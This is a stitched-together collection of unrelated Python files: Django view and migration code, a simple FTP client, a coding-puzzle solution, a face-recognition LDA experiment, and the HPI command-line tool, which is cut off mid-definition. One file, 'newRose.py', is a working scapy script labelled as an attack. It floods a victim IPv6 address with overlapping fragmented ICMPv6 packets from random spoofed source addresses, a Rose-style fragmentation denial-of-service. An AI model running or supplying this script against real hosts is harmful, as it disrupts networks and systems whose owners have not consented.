            temp = Introduce.objects.get(id = req['ids'])
            setattr(temp, 'payment', req['payment'])
            temp.save()
            return HttpResponse(json.dumps({'type': 'success'}), content_type="application/json")
        else:
            return HttpResponse(json.dumps({'type': 'error'}), content_type="application/json")


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('monitor', '0009_config'),
    ]

    operations = [
        migrations.RemoveField(
            model_name='config',
            name='blah',
        ),
        migrations.AlterField(
            model_name='config',
            name='predicate',
            field=models.CharField(max_length=50, blank=True),
            preserve_default=True,
        ),
    ]


import socket as sct
import os

#functions
def recieveFile(port, file_name):
    data_channel = sct.socket(sct.AF_INET, sct.SOCK_STREAM)
    try:
        data_channel.connect(("127.0.0.1", port))
    except:
        return False
    data = b""
    while True:
        temp = data_channel.recv(1024)
        data = data + temp
        if not temp:
            break
    f = open(file_name, "wb")
    f.write(data)
    data_channel.close()
    return True

server_name = "127.0.0.1"
server_port = 2121

print("Sending server request")
client_socket = sct.socket(sct.AF_INET, sct.SOCK_STREAM)
client_socket.connect((server_name, server_port))
print("Connected successfully\n\n")
print("Welcome to the FTP client\n")
print("Enter one of the following commands:\n\n    # HELP: 			    Show this help\n    # LIST: 			    List files\n    # DWLD \"file_path\": 	Download file\n    # PWD: 					Show current dir\n    # CD \"dir_name\": 		Change directory\n    # QUIT:					Exit\n")
while True:
    command = input("Enter Command: ")
    client_socket.send(command.encode())
    if not command.startswith("DWLD") or not command.startswith("dwld"):
        answer = client_socket.recv(1024)
        print(answer.decode())
    else:
        data_port = client_socket.recv(1024)
        recieveFile(int(data_port), command[5:])


def solution(n, arr1, arr2):
    answer = []
    bin_arr1 = []
    bin_arr2 = []

    for arr in arr1:
        result = ''
        while arr > 0:
            result += str(arr % 2)
            arr //= 2

        listed_num = list(result)
        while len(listed_num) != n:
            listed_num.append(0)

        temp = listed_num[::-1]
        temp = list(map(str, temp))
        bin_arr1.append(''.join(temp))

    for arr in arr2:
        result = ''
        while arr > 0:
            result += str(arr % 2)
            arr //= 2

        listed_num = list(result)
        while len(listed_num) != n:
            listed_num.append(0)

        temp = listed_num[::-1]
        temp = list(map(str, temp))
        bin_arr2.append(''.join(temp))

    for i in range(n):
        temp = ''
        for j in range(n):
            if bin_arr1[i][j] == '1' or bin_arr2[i][j] == '1':
                temp += '#'
            else:
                temp += ' '
        answer.append(temp)

    return answer


#!/usr/bin/python

# Jack Cardwell
# February 25, 2018

# newRose.py is an attack that mimics the rose attack but it sends multiple fragments, instead of two

from scapy.all import *
from sys import *
from math import *

# generates a random ipv6 source
def randipv6():
    """return random ipv6 address"""
    ipv6 = ""

    for i in range(0, 8):
        for p in range(0, 4):
            if random.randint(0, 1) % 2:
                ipv6 += chr(random.randint(0x30, 0x39))
            else:
                ipv6 += chr(random.randint(0x41, 0x46))
        if i != 7:
            ipv6 += ':'

    return ipv6

def newRose():

    # check the number of arguments
    if len(sys.argv) != 4:
        print("Error: Please enter the correct arguments.")
        print("Usage: ./rose.py [VICTIM IP] [NUM_FRAGMENTS] [OFFSET]")
        exit(2)

    tgt = sys.argv[1]
    numFragments = int(sys.argv[2])
    offset = int(sys.argv[3])

    src = randipv6()

    # generate the ip header
    ip = IPv6(dst = tgt, src = src)

    # create the fragment header
    frag = IPv6ExtHdrFragment()

    # ICMP header
    icmp = ICMPv6EchoRequest()

    # send the first packet
    frag.m = 1
    frag.offset = 0

    pkt = (ip/frag/icmp)
    send(pkt)

    # send the random packets in between
    for i in range(0, 5):

        # generate the random number
        randInt = random.randint(0,offset/8)*8
        frag.offset = randInt

        randString = "JACK"*2
        pkt = (ip/frag/icmp/Raw(load=randString))
        send(pkt)

    # send the end header
    for i in range(0, numFragments):
        frag.m = 0
        frag.offset = offset

        randString = "JACK"*2
        pkt = (ip/frag/icmp/Raw(load=randString))
        send(pkt)
        time.sleep(0.1)
    exit(0)

newRose()


from gofer.rmi.model import direct, fork

# call models
DIRECT = 'direct'
FORK = 'fork'

ALL = {
    DIRECT: direct.Call,
    FORK: fork.Call,
}

def valid_model(model):
    if model in ALL:
        return model
    else:
        raise ValueError('model must be: %s' % '|'.join(ALL))


import os
import random
import numpy as np
import matplotlib.pyplot as plt
from tqdm import tqdm
from matplotlib import cm
from sklearn.discriminant_analysis import  LinearDiscriminantAnalysis as LDA
from sklearn.neighbors import KNeighborsClassifier as KNN
from sklearn.metrics import accuracy_score

folders = ['1', '4', '7', '8', '10', '13', '16', '17', '21', '22',
           '23', '28', '31', '34', '36', '43', '45', '48', '53', '55',
           '57', '61', '64', '67', '68']

#mixed dataset (PIE + selfie)
mixed_train_labels = []
mixed_train_imgs = []
mixed_test_labels = []
mixed_test_imgs = []
#pie only dataset
pie_test_labels = []
pie_test_imgs = []

#random to ensure reproducibility
random.seed(2)

for folder in tqdm(folders):
    img_folder = os.path.join('PIE', folder)
    test_index_list = random.sample(range(1, 171), 51)
    for img_file in os.listdir(img_folder):
        img_path = os.path.join(img_folder, img_file)
        img = plt.imread(img_path)
        #30% testing and 70% training (0.3*170 = 51)
        img_name = os.path.splitext(img_file)[0]
        if int(img_name) in test_index_list:
            #add to mixed dataset
            mixed_test_imgs.append(img)
            mixed_test_labels.append(int(folder))
            #add to pie dataset
            pie_test_imgs.append(img)
            pie_test_labels.append(int(folder))
        else:
            #add to mixed dataset
            mixed_train_imgs.append(img)
            mixed_train_labels.append(int(folder))

print('Image size: {}'.format(mixed_train_imgs[0].shape))
print('Training set: ' + str(len(mixed_train_labels)) + "     Testing set: " + str(len(mixed_test_labels)))

#selfie only dataset
own_test_imgs = []
own_test_labels = []
own_train_imgs = []
own_train_labels = []
own_test_index_list = random.sample(range(1, 11), 3)

for img_file in os.listdir('mine'):
    img_path = os.path.join('mine', img_file)
    img = plt.imread(img_path)
    #30% testing and 70% training (0.3*170 = 51)
    img_name = os.path.splitext(img_file)[0]
    if int(img_name) in own_test_index_list:
        own_test_imgs.append(img)
        own_test_labels.append(26)
    else:
        own_train_imgs.append(img)
        own_train_labels.append(26)

#added selfie to mixed dataset
mixed_train_imgs.extend(own_train_imgs)
mixed_train_labels.extend(own_train_labels)
mixed_test_imgs.extend(own_test_imgs)
mixed_test_labels.extend(own_test_labels)
print('New Training set: ' + str(len(mixed_train_labels)) + "     New Testing set: " + str(len(mixed_test_labels)))

train_x = np.array(mixed_train_imgs)
train_y = np.array(mixed_train_labels)
test_x = np.array(mixed_test_imgs)
test_y = np.array(mixed_test_labels)
#vectorize images
train_x = train_x.reshape(len(mixed_train_imgs), -1)
test_x = test_x.reshape(len(mixed_test_imgs), -1)
print('Vectorized Training set: {}     Vectorized Test set: {}'.format(train_x.shape, test_x.shape))

#sampling 500
samples = random.sample(range(train_x.shape[0]), 500)
sampled_x = train_x[samples]
sampled_y = train_y[samples]

#2D
lda = LDA(n_components=2)
lda.fit(sampled_x, sampled_y)
x_projected2D = lda.transform(sampled_x)

#setting up colors for different folders
folder_color = np.linspace(0,1,25)
np.random.shuffle(folder_color)
colors = cm.rainbow(folder_color)

fig = plt.figure()
#2D plot
ax = fig.add_subplot(111)
box = ax.get_position()
ax.set_position([box.x0, box.y0, box.width*0.75, box.height])
#plotting photos
for i, label in enumerate(folders):
    plt.scatter(x_projected2D[sampled_y == int(label)][:, 0], x_projected2D[sampled_y == int(label)][:, 1], label=label)
#plotting own photos
plt.plot(x_projected2D[sampled_y == 26][:, 0], x_projected2D[sampled_y == 26][:, 1], 'k*', markersize=20)
plt.legend(ncol=2, bbox_to_anchor=(1.03,1), loc='upper left')

#3D
lda = LDA(n_components=3)
lda.fit(sampled_x, sampled_y)
x_projected3D = lda.transform(sampled_x)
#3D plot
fig2 = plt.figure()
ax = fig2.add_subplot(111, projection='3d')
box = ax.get_position()
ax.set_position([box.x0, box.y0, box.width*0.8, box.height])
#plotting photos
for i, label in enumerate(folders):
    ax.scatter(x_projected3D[sampled_y == int(label)][:,0],
                x_projected3D[sampled_y == int(label)][:,1],
                x_projected3D[sampled_y == int(label)][:,2],
                label=label)
#plotting own photos
plt.plot(x_projected3D[sampled_y==26][:,0], x_projected3D[sampled_y==26][:,1], x_projected3D[sampled_y==26][:,2], 'k*', markersize=20)
plt.legend(ncol=2, bbox_to_anchor=(1.03,-0.3), loc='lower left')

#vectorize CMU PIE test and selfie sets
test_pie_x = np.array(pie_test_imgs)
test_pie_y = np.array(pie_test_labels)
test_own_x = np.array(own_test_imgs)
test_own_y = np.array(own_test_labels)
#vectorize CMU PIE and selfie test images
test_pie_x = test_pie_x.reshape(len(pie_test_imgs), -1)
test_own_x = test_own_x.reshape(len(own_test_imgs), -1)

def doLDA(dimensions, isOwn):
    knn = KNN()
    n_lda = LDA(n_components=dimensions)
    if isOwn:
        n_lda.fit(train_x, train_y)
        train_x_reduced = n_lda.transform(train_x)
        knn.fit(train_x_reduced, train_y)
        test_x_reduced = n_lda.transform(test_own_x)
        result = knn.predict(test_x_reduced)
        print('Accuracy for LDA {} on own selfie test: {}'.format(dimensions, accuracy_score(test_own_y, result)))
    else:
        n_lda.fit(train_x, train_y)
        train_x_reduced = n_lda.transform(train_x)
        knn.fit(train_x_reduced, train_y)
        test_x_reduced = n_lda.transform(test_pie_x)
        result = knn.predict(test_x_reduced)
        print('Accuracy for LDA {} on CMU PIE test: {}'.format(dimensions, accuracy_score(test_pie_y, result)))

#LDA 2
doLDA(2, True)
doLDA(2, False)
#LDA 3
doLDA(3, True)
doLDA(3, False)
#LDA 9
doLDA(9, True)
doLDA(9, False)

plt.show()


from contextlib import ExitStack
import functools
import importlib
import inspect
from itertools import chain
import os
import shlex
import shutil
import sys
import tempfile
import traceback
from typing import Optional, Sequence, Iterable, List, Type, Any, Callable
from pathlib import Path
from subprocess import check_call, run, PIPE, CompletedProcess, Popen

import click

@functools.lru_cache()
def mypy_cmd() -> Optional[Sequence[str]]:
    try:
        # preferably, use mypy from current python env
        import mypy  # noqa: F401 fine not to use it
    except ImportError:
        pass
    else:
        return [sys.executable, '-m', 'mypy']
    # ok, not ideal but try from PATH
    if shutil.which('mypy'):
        return ['mypy']
    warning("mypy not found, so can't check config with it. See https://github.com/python/mypy#readme if you want to install it and retry")
    return None

def run_mypy(cfg_path: Path) -> Optional[CompletedProcess]:
    # todo dunno maybe use the same mypy config in repository?
    # I'd need to install mypy.ini then??
    env = {**os.environ}
    mpath = env.get('MYPYPATH')
    mpath = str(cfg_path) + ('' if mpath is None else f':{mpath}')
    env['MYPYPATH'] = mpath

    cmd = mypy_cmd()
    if cmd is None:
        return None
    mres = run([
        *cmd,
        '--namespace-packages',
        '--color-output', # not sure if works??
        '--pretty',
        '--show-error-codes',
        '--show-error-context',
        '--check-untyped-defs',
        '-p', 'my.config',
    ], stderr=PIPE, stdout=PIPE, env=env)
    return mres

# use click.echo over print since it handles handles possible Unicode errors,
# strips colors if the output is a file
# https://click.palletsprojects.com/en/7.x/quickstart/#echoing
def eprint(x: str) -> None:
    # err=True prints to stderr
    click.echo(x, err=True)

def indent(x: str) -> str:
    return ''.join('   ' + l for l in x.splitlines(keepends=True))

OK  = '✅'
OFF = '🔲'

def info(x: str) -> None:
    eprint(OK + ' ' + x)

def error(x: str) -> None:
    eprint('❌ ' + x)

def warning(x: str) -> None:
    eprint('❗ ' + x) # todo yellow?

def tb(e: Exception) -> None:
    tb = ''.join(traceback.format_exception(Exception, e, e.__traceback__))
    sys.stderr.write(indent(tb))

def config_create() -> None:
    from .preinit import get_mycfg_dir
    mycfg_dir = get_mycfg_dir()

    created = False
    if not mycfg_dir.exists():
        # todo not sure about the layout... should I use my/config.py instead?
        my_config = mycfg_dir / 'my' / 'config' / '__init__.py'

        my_config.parent.mkdir(parents=True)
        my_config.write_text('''
### HPI personal config
## see
# https://github.com/karlicoss/HPI/blob/master/doc/SETUP.org#setting-up-modules
# https://github.com/karlicoss/HPI/blob/master/doc/MODULES.org
## for some help on writing your own config

# to quickly check your config, run:
# hpi config check

# to quickly check a specific module setup, run hpi doctor <module>, e.g.:
# hpi doctor my.reddit.rexport

### useful default imports
from my.core import Paths, PathIsh, get_files
###

# most of your configs will look like this:
class example:
    export_path: Paths = '/home/user/data/example_data_dir/'

### you can insert your own configuration below
### but feel free to delete the stuff above if you don't need ti
'''.lstrip())
        info(f'created empty config: {my_config}')
        created = True
    else:
        error(f"config directory '{mycfg_dir}' already exists, skipping creation")

    check_passed = config_ok()
    if not created or not check_passed:
        sys.exit(1)

# todo return the config as a result?
def config_ok() -> bool:
    errors: List[Exception] = []

    # at this point 'my' should already be imported, so doesn't hurt to extract paths from it
    import my
    try:
        paths: List[str] = list(my.__path__)
    except Exception as e:
        errors.append(e)
        error('failed to determine module import path')
        tb(e)
    else:
        info(f'import order: {paths}')

    # first try doing as much as possible without actually importing my.config
    from .preinit import get_mycfg_dir
    cfg_path = get_mycfg_dir()
    # alternative is importing my.config and then getting cfg_path from its __file__/__path__
    # not sure which is better tbh

    ## check we're not using stub config
    import my.core
    try:
        core_pkg_path = str(Path(my.core.__path__[0]).parent)
        if str(cfg_path).startswith(core_pkg_path):
            error(f'''
Seems that the stub config is used ({cfg_path}). This is likely not going to work.
See https://github.com/karlicoss/HPI/blob/master/doc/SETUP.org#setting-up-modules for more information
'''.strip())
            errors.append(RuntimeError('bad config path'))
    except Exception as e:
        errors.append(e)
        tb(e)
    else:
        info(f"config path : {cfg_path}")
    ##

    ## check syntax
    with tempfile.TemporaryDirectory() as td:
        # use a temporary directory, useful because
        # - compileall ignores -B, so always craps with .pyc files (annoyng on RO filesystems)
        # - compileall isn't following symlinks, just silently ignores them
        # note: ugh, annoying that copytree requires a non-existing dir before 3.8.
        # once we have min version 3.8, can use dirs_exist_ok=True param
        tdir = Path(td) / 'cfg'
        # this will resolve symlinks when copying
        shutil.copytree(cfg_path, tdir)
        # NOTE: compileall still returns code 0 if the path doesn't exist..
        # but in our case hopefully it's not an issue
        cmd = [sys.executable, '-m', 'compileall', '-q', str(tdir)]

        try:
            check_call(cmd)
            info('syntax check: ' + ' '.join(cmd))
        except Exception as e:
            errors.append(e)
            tb(e)
    ##

    ## check types
    mypy_res = run_mypy(cfg_path)
    if mypy_res is not None: # has mypy
        rc = mypy_res.returncode
        if rc == 0:
            info('mypy check  : success')
        else:
            error('mypy check: failed')
            errors.append(RuntimeError('mypy failed'))
            sys.stderr.write(indent(mypy_res.stderr.decode('utf8')))
        sys.stderr.write(indent(mypy_res.stdout.decode('utf8')))
    ##

    ## finally, try actually importing the config (it should use same cfg_path)
    try:
        import my.config
    except Exception as e:
        errors.append(e)
        error("failed to import the config")
        tb(e)
    ##

    if len(errors) > 0:
        error(f'config check: {len(errors)} errors')
        return False
    else:
        # note: shouldn't exit here, might run something else
        info('config check: success!')
        return True

from .util import HPIModule, modules
def _modules(*, all: bool=False) -> Iterable[HPIModule]:
    skipped = []
    for m in modules():
        if not all and m.skip_reason is not None:
            skipped.append(m.name)
        else:
            yield m
    if len(skipped) > 0:
        warning(f'Skipped {len(skipped)} modules: {skipped}. Pass --all if you want to see them.')

def modules_check(*, verbose: bool, list_all: bool, quick: bool, for_modules: List[str]) -> None:
    if len(for_modules) > 0:
        # if you're checking specific modules, show errors
        # hopefully makes sense?
        verbose = True
    vw = '' if verbose else '; pass --verbose to print more information'

    tabulate_warnings()

    import contextlib

    from .common import quick_stats
    from .util import get_stats, HPIModule
    from .stats import guess_stats
    from .error import warn_my_config_import_error

    mods: Iterable[HPIModule]
    if len(for_modules) == 0:
        mods = _modules(all=list_all)
    else:
        mods = [HPIModule(name=m, skip_reason=None) for m in for_modules]

    # todo add a --all argument to disregard is_active check?
    for mr in mods:
        skip = mr.skip_reason
        m    = mr.name
        if skip is not None:
            eprint(f'{OFF} {click.style("SKIP", fg="yellow")}: {m:<50} {skip}')
            continue

        try:
            mod = importlib.import_module(m)  # noqa: F841
        except Exception as e:
            # todo more specific command?
            error(f'{click.style("FAIL", fg="red")}: {m:<50} loading failed{vw}')
            # check that this is an import error in particular, not because
            # of a ModuleNotFoundError because some dependency wasn't installed
            if isinstance(e, (ImportError, AttributeError)):
                warn_my_config_import_error(e)
            if verbose:
                tb(e)
            continue

        info(f'{click.style("OK", fg="green")}  : {m:<50}')
        # first try explicitly defined stats function:
        stats = get_stats(m)
        if stats is None:
            # then try guessing.. not sure if should log somehow?
            stats = guess_stats(m, quick=quick)

        if stats is None:
            eprint("       - no 'stats' function, can't check the data")
            # todo point to a readme on the module structure or something?
            continue

        quick_context = quick_stats() if quick else contextlib.nullcontext()

        try:
            kwargs = {}
            if callable(stats) and 'quick' in inspect.signature(stats).parameters:
                kwargs['quick'] = quick
            with quick_context:
                res = stats(**kwargs)
            assert res is not None, 'stats() returned None'
        except Exception as ee:
            warning(f'     - {click.style("stats:", fg="red")}                      computing failed{vw}')
            if verbose:
                tb(ee)
        else:
            info(f'    - stats: {res}')

def list_modules(*, list_all: bool) -> None:
    # todo add a --sort argument?
    tabulate_warnings()

    for mr in _modules(all=list_all):
        m    = mr.name
        sr   = mr.skip_reason
        if sr is None:
            pre = OK
            suf = ''
        else:
            pre = OFF
            suf = f' {click.style(f"[disabled: {sr}]", fg="yellow")}'

        click.echo(f'{pre} {m:50}{suf}')

def tabulate_warnings() -> None:
    '''
    Helper to avoid visual noise in hpi modules/doctor
    '''
    import warnings
    orig = warnings.formatwarning

    def override(*args, **kwargs) -> str:
        res = orig(*args, **kwargs)
        return ''.join('  ' + x for x in res.splitlines(keepends=True))
    warnings.formatwarning = override
    # TODO loggers as well?

def _requires(modules: Sequence[str]) -> Sequence[str]:
    from .discovery_pure import module_by_name
    mods = [module_by_name(module) for module in modules]
    res = []
    for mod in mods:
        if mod.legacy is not None:
            warning(mod.legacy)

        reqs = mod.requires
        if reqs is None:
            warning(f"Module {mod.name} has no REQUIRES specification")
            continue
        for r in reqs:
            if r not in res:
                res.append(r)
    return res

def module_requires(*, module: Sequence[str]) -> None:
    if isinstance(module, str):
        # legacy behavior, used to take a since argument
        module = [module]
    rs = [f"'{x}'" for x in _requires(modules=module)]
    eprint(f'dependencies of {module}')
    for x in rs:
        click.echo(x)

def module_install(*, user: bool, module: Sequence[str], parallel: bool=False, break_system_packages: bool=False) -> None:
    if isinstance(module, str):
        # legacy behavior, used to take a since argument
        module = [module]

    requirements = _requires(module)

    if len(requirements) == 0:
        warning('requirements list is empty, no need to install anything')
        return

    pre_cmd = [
        sys.executable, '-m', 'pip',
        'install',
        *(['--user'] if user else []), # todo maybe instead, forward all the remaining args to pip?
        *(['--break-system-packages'] if break_system_packages else []), # https://peps.python.org/pep-0668/
    ]

    cmds = []
    # disable parallel on windows, sometimes throws a
    # '[WinError 32] The process cannot access the file because it is being used by another process'
    # same on mac it seems? possible race conditions which are hard to debug?
    # WARNING: Error parsing requirements for sqlalchemy: [Errno 2] No such file or directory: '/Users/runner/work/HPI/HPI/.tox/mypy-misc/lib/python3.7/site-packages/SQLAlchemy-2.0.4.dist-info/METADATA'
    if parallel and sys.platform not in ['win32', 'cygwin', 'darwin']:
        # todo not really sure if it's safe to install in parallel like this
        # but definitely doesn't hurt to experiment for e.g. mypy pipelines
        # pip has '--use-feature=fast-deps', but it doesn't really work
        # I think it only helps for pypi artifacts (not git!),
        # and only if they weren't cached
        for r in requirements:
            cmds.append(pre_cmd + [r])
    else:
        if parallel:
            warning('parallel install is not supported on this platform, installing sequentially...')
        # install everything in one cmd
        cmds.append(pre_cmd + list(requirements))

    with ExitStack() as exit_stack:
        popens = []
        for cmd in cmds:
            eprint('Running: ' + ' '.join(map(shlex.quote, cmd)))
            popen = exit_stack.enter_context(Popen(cmd))
            popens.append(popen)

        for popen in popens:
            ret = popen.wait()
            assert ret == 0, popen

def _ui_getchar_pick(choices: Sequence[str], prompt: str = 'Select from: ') -> int:
    '''
    Basic menu allowing the user to select one of the choices
    returns the index the user chose
    '''
    assert len(choices) > 0, 'Didnt receive any choices to prompt!'
    eprint(prompt + '\n')

    # prompts like 1,2,3,4,5,6,7,8,9,a,b,c,d,e,f...
    chr_offset = ord('a') - 10

    # dict from key user can press -> resulting index
    result_map = {}
    for i, opt in enumerate(choices, 1):
        char: str = str(i) if i < 10 else chr(i + chr_offset)
        result_map[char] = i - 1
        eprint(f'\t{char}. {opt}')

    eprint('')
    while True:
        ch = click.getchar()
        if ch not in result_map:
            eprint(f'{ch} not in {list(result_map.keys())}')
            continue
        return result_map[ch]

def _locate_functions_or_prompt(qualified_names: List[str], prompt: bool = True) -> Iterable[Callable[..., Any]]:
    from .query import locate_qualified_function, QueryException
    from .stats import is_data_provider

    # if not connected to a terminal, can't prompt
    if not sys.stdout.isatty():
        prompt = False

    for qualname in qualified_names:
        try:
            # common-case
            yield locate_qualified_function(qualname)
        except QueryException as qr_err:
            # maybe the user specified a module name instead of a function name?
            # try importing the name the user specified as a module and prompt the
            # user to select a 'data provider' like function
            try:
                mod = importlib.import_module(qualname)
            except Exception:
                eprint(f"During fallback, importing '{qualname}' as module failed")
                raise qr_err

            # find data providers in this module
            data_providers = [f for _, f in inspect.getmembers(mod, inspect.isfunction) if is_data_provider(f)]
            if len(data_providers) == 0:
                eprint(f"During fallback, could not find any data providers in '{qualname}'")
                raise qr_err
            else:
                # was only one data provider-like function, use that
                if len(data_providers) == 1:
                    yield data_providers[0]
                else:
                    choices = [f.__name__ for f in data_providers]
                    if prompt is False:
                        # there's more than one possible data provider in this module,
                        # STDOUT is not a TTY, can't prompt
                        eprint("During fallback, more than one possible data provider, can't prompt since STDOUT is not a TTY")
                        eprint("Specify one of:")
                        for funcname in choices:
                            eprint(f"\t{qualname}.{funcname}")
                        raise qr_err
                    # prompt the user to pick the function to use
                    chosen_index = _ui_getchar_pick(choices, f"Which function should be used from '{qualname}'?")
                    # respond to the user, so they know something has been picked
                    eprint(f"Selected '{choices[chosen_index]}'")
                    yield data_providers[chosen_index]

def _warn_exceptions(exc: Exception) -> None:
    from my.core.common import LazyLogger
    logger = LazyLogger('CLI', level='warning')

    logger.exception(f'hpi query: {exc}')

# handle the 'hpi query' call
# can raise a QueryException, caught in the click command
def query_hpi_functions(
    *,
    output: str = 'json',
    stream: bool = False,
    qualified_names: List[str],
    order_key: Optional[str],
    order_by_value_type: Optional[Type],
    after: Any,
    before: Any,
    within: Any,
    reverse: bool = False,
    limit: Optional[int],
    drop_unsorted: bool,
    wrap_unsorted: bool,
    warn_exceptions: bool,
    raise_exceptions: bool,
    drop_exceptions: bool,
) -> None:
    from .query_range import select_range, RangeTuple
    import my.core.error as err

    # chain list of functions from user, in the order they wrote them on the CLI
    input_src = chain(*(f() for f in _locate_functions_or_prompt(qualified_names)))

    res = select_range(
        input_src,
        order_key=order_key,
        order_by_value_type=order_by_value_type,
        unparsed_range=RangeTuple(after=after, before=before, within=within),
        reverse=reverse,
        limit=limit,
        drop_unsorted=drop_unsorted,
        wrap_unsorted=wrap_unsorted,
        warn_exceptions=warn_exceptions,
        warn_func=_warn_exceptions,
        raise_exceptions=raise_exceptions,
        drop_exceptions=drop_exceptions)

    if output == 'json':
        from .serialize import dumps

        if stream:
            for item in res:
                # use sys.stdout directly
                # the overhead form click.echo isn't a *lot*, but when called in a loop
                # with potentially millions of items it makes a noticeable difference
                sys.stdout.write(dumps(item))
                sys.stdout.write('\n')
            sys.stdout.flush()
        else:
            click.echo(dumps(list(res)))
    elif output == 'pprint':
        from pprint import pprint

        if stream:
            for item in res:
                pprint(item)
        else:
            pprint(list(res))
    elif output == 'gpx':
        from my.location.common import locations_to_gpx

        # if user didn't specify to ignore exceptions, warn if locations_to_gpx
        # cannot process the output of the command. This can be silenced by
        # passing --drop-exceptions
        if not raise_exceptions and not drop_exceptions:
            warn_exceptions = True

        # can ignore the mypy warning here, locations_to_gpx yields any errors
        # if you didnt pass it something that matches the LocationProtocol
        for exc in locations_to_gpx(res, sys.stdout):   # type: ignore[arg-type]
            if warn_exceptions:
                _warn_exceptions(exc)
            elif raise_exceptions:
                raise exc
            elif drop_exceptions:
                pass
        sys.stdout.flush()
    else:
        res = list(res)  # type: ignore[assignment]
        # output == 'repl'
        eprint(f"\nInteract with the results by using the {click.style('res', fg='green')} variable\n")
        try:
            import IPython  # type: ignore[import]
        except ModuleNotFoundError:
            eprint("'repl' typically uses ipython, install it with 'python3 -m pip install ipython'. falling back to stdlib...")
            import code
            code.interact(local=locals())
        else:
            IPython.embed()

@click.group()
@click.option("--debug", is_flag=True, default=False, help="Show debug logs")
def main(debug: bool) -> None:
    '''
    Human Programming Interface

    Tool for HPI
    Work in progress, will be used for config management, troubleshooting & introspection
    '''
    # should overwrite anything else in LOGGING_LEVEL_HPI
    if debug:
        os.environ['LOGGING_LEVEL_HPI'] = 'debug'

    # for potential future reference, if shared state needs to be added to groups
    # https://click.palletsprojects.com/en/7.x/commands/#group-invocation-without-command
    # https://click.palletsprojects.com/en/7.x/commands/#multi-command-chaining

    # acts as a contextmanager of sorts - any subcommand will then run
    # in something like /tmp/hpi_temp_dir
    # to avoid importing relative modules by accident during development
    # maybe can be removed later if there's more test coverage/confidence that nothing
    # would happen?

    # use a particular directory instead of a random one, since
    # click being decorator based means its more complicated
    # to run things at the end (would need to use a callback or pass context)
    # https://click.palletsprojects.com/en/7.x/commands/#nested-handling-and-contexts

    tdir: str = os.path.join(tempfile.gettempdir(), 'hpi_temp_dir')
    if not os.path.exists(tdir):
        os.makedirs(tdir)
    os.chdir(tdir)

@functools.lru_cache(maxsize=1)
def _all_mod_names() -> List[str]:
    """Should include all modules, in case user is trying to diagnose issues"""
    # sort this, so that the order doesn't change while tabbing through
    return sorted([m.name for m in modules()])

def _module_autocomplete(ctx: click.Context, args: Sequence[str], incomplete: str) -> List[str]:
    return [m for m in _all_mod_names() if m.startswith(incomplete)]

@main.command(name='doctor', short_help='run various checks')
@click.option('--verbose/--quiet', default=False, help='Print more diagnostic information')
@click.option('--all', 'list_all', is_flag=True, help='List all modules, including disabled')
@click.option('-q', '--quick', is_flag=True, help='Only run partial checks (first 100 items)')
@click.option('-S', '--skip-config-check', 'skip_conf', is_flag=True, help='Skip configuration check')
@click.argument('MODULE', nargs=-1, required=False, shell_complete=_module_autocomplete)
def doctor_cmd(verbose: bool, list_all: bool, quick: bool, skip_conf: bool, module: Sequence[str]) -> None:
    '''
    Run various checks

    MODULE is one or more specific module names to check (e.g. my.reddit.rexport)
    Otherwise, checks all modules
    '''
    if not skip_conf:
        config_ok()
    # TODO check that it finds private modules too?
    modules_check(verbose=verbose, list_all=list_all, quick=quick, for_modules=list(module))

@main.group(name='config', short_help='work with configuration')
def config_grp() -> None:
    '''Act on your HPI configuration'''
    pass

@config_grp.command(name='check', short_help='check config')
def config_check_cmd() -> None:
    '''Check your HPI configuration file'''
    ok = config_ok()
    sys.exit(0 if ok else False)

@config_grp.command(name='create', short_help='create user config')
def config_create_cmd() -> None:
    '''Create user configuration file for HPI'''
    config_create()

@main.command(name='modules', short_help='list available modules')
@click.option('--all', 'list_all', is_flag=True, help='List all modules, including disabled')
def module_cmd(list_all: bool) -> None:
    '''List available modules'''
    list_modules(list_all=list_all)

@main.group(name='module', short_help='module management')
def module_grp() -> None:
    '''Module management'''
    pass

@module_grp.command(name='requires', short_help='print module reqs')
@click.argument('MODULES', shell_complete=_module_autocomplete, nargs=-1, required=True)
def module_requires_cmd(modules: Sequence[str]) -> None:
    '''
    Print MODULES requirements

    MODULES is one or more specific module names (e.g. my.reddit.rexport)
    '''
    module_requires(module=modules)

@module_grp.command(name='install', short_help='install module deps')
@click.option('--user', is_flag=True, help='same as pip --user')
@click.option('--parallel', is_flag=True, help='EXPERIMENTAL. Install dependencies in parallel.')
@click.option('-B',
              '--break-system-packages',
              is_flag=True,
              help='Bypass PEP 668 and install dependencies into the system-wide python package directory.')
@click.argument('MODULES', shell_complete=_module_autocomplete, nargs=-1, required=True)
def module_install_cmd(user: bool, parallel: bool, break_system_packages: bool, modules: Sequence[str]) -> None:
    '''
    Install dependencies for modules using pip

    MODULES is one or more specific module names (e.g. my.reddit.rexport)
    '''
    # todo could add functions to check specific module etc..
    module_install(user=user, module=modules, parallel=parallel, break_system_packages=break_system_packages)

@main.command(name='query', short_help='query the results of a HPI function')
@click.option('-o',
              '--output',
              default='json',
              type=click.Choice(['json', 'pprint', 'repl', 'gpx']),
              help='what to do with the result [default: json]')
@click.option('-s',
              '--stream',
              default=False,
              is_flag=True,
              help='stream objects from the data source instead of printing a list at the end')
@click.option('-k',
              '--order-key',
              default=None,
              type=str,
              help='order by an object attribute or dict key on the individual objects returned by the HPI function')
@click.option('-t',
              '--order-type',
              default=None,
              type=click.Choice(['datetime', 'date', 'int', 'float']),
              help='order by searching for some type on the iterable')
@click.option('-a',
              '--after',
              default=None,
              type=str,
              help='while ordering, filter items for the key or type larger than or equal to this')
@click.option('-b',
              '--before',
              default=None,
              type=str,
              help='while ordering, filter items for the key or type smaller than this')
@click.option('-w',
              '--within',
              default=None,
              type=str,
              help="a range 'after' or 'before' to filter items by. see above for further explanation")
@click.option('-r',
              '--recent',
              default=None,
              type=str,
              help="a shorthand for '--order-type datetime --reverse --before now --within'. e.g. --recent 5d")
@click.option('--reverse/--no-reverse',
              default=False,
              help='reverse the results returned from the functions')
@click.option('-l',
              '--limit',
              default=None,
              type=int,
              help='limit the number of items returned from the (functions)')
@click.option('--drop-unsorted',
              default=False,
              is_flag=True,
              help="if the order of an item can't be determined while ordering, drop those items from the results")
@click.option('--wrap-unsorted',
              default=False,
              is_flag=True,
              help="if the order of an item can't be determined while ordering, wrap them into an 'Unsortable' object")
@click.option('--warn-exceptions',
              default=False,
              is_flag=True,
              help="if any errors are returned, print them as errors on STDERR")
@click.option('--raise-exceptions',
              default=False,
              is_flag=True,
